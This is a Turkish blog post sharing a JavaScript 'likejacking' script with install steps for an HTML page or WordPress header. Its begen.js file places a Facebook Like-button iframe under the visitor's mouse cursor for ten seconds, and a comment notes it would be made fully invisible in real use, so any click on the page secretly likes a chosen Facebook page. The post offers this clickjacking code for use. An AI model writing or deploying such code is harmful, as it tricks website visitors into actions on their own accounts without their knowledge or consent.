Son işim olan www.ligsiz.tk’da tasarım yaparken sahibinin istediği birşey vardı siteye girenler. facebook sayfasını beğensin istiyordu düşündük ve böyle bir cözüm bulduk eğer mausun önünde durur ise ve her hangi bir yeri tıkladığında beğense güzel olmazmı dedik . ve sonra bunu gerçekleştirdik. ve jQuery ile bu işlemi sağladık şimdi bunu sizinle paylaşıyorum.
Kodlar uzun olduğundan Anlatamıyacağım. Kurulumu anlatıyorum.
index.html dosyanız daki <body> nin altına
( wordpress de yapıcak iseniz header dosyanıza.. )
|
<script type="text/javascript" src="begen.js"></script>
|
ardından
<body> nin üstüne
|
<script>(function(d, s, id) {
var js, fjs = d.getElementsByTagName(s)[0];
if (d.getElementById(id)) return;
js = d.createElement(s); js.id = id;
js.src = "../connect.facebook.net/tr_TR/all.js#xfbml=1";
fjs.parentNode.insertBefore(js, fjs);
}(document, 'script', 'facebook-jssdk'));</script>
|
ekleyiniz..
Sonra begen.js adında bir jQuery dosyası oluşturuyoruz. içine alttaki kodları ekleyiniz..
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
|
(function(){
var tempX = 0,
tempY = 0,
IE = document.all ? true : false;
if (!IE) document.captureEvents(Event.MOUSEMOVE);
var like = document.createElement('iframe');
like.src = 'http://www.facebook.com/plugins/like.php?href=' + encodeURIComponent(/*document.location.href*/ 'www.savascanaltun.com') + '&amp;layout=standard&amp;show_faces=true&amp;width=53&amp;action=like&amp;colorscheme=light&amp;height=80';
like.scrolling = 'no';
like.frameBorder = 0;
like.allowTransparency = 'true';
like.style.border = 0;
like.style.overflow = 'hidden';
like.style.cursor = 'pointer';
like.style.width = '53px';
like.style.height = '23px';
like.style.position = 'absolute';
like.style.opacity = .8; //Would be 0 if really used
document.getElementsByTagName('body')[0].appendChild(like);
window.addEventListener('mousemove', mouseMove, false);
setTimeout(function(){
document.getElementsByTagName('body')[0].removeChild(like);
window.removeEventListener('mousemove', mouseMove, false);
}, 10000);
function mouseMove(e) {
if (IE) {
tempX = event.clientX + document.body.scrollLeft;
tempY = event.clientY + document.body.scrollTop;
} else {
tempX = e.pageX;
tempY = e.pageY;
}
if (tempX < 0) tempX = 0;
if (tempY < 0) tempY = 0;
like.style.top = (tempY - 8) + 'px';
like.style.left = (tempX - 25) + 'px';
return true
}
})();
|
Ekliyoruz ve begen.js nin 9. Satırın ‘daki www.savascanaltun.com yazan yere facebook sayfa link imizi yazıyoruz…
Hiç yorum yok:
Yorum Gönder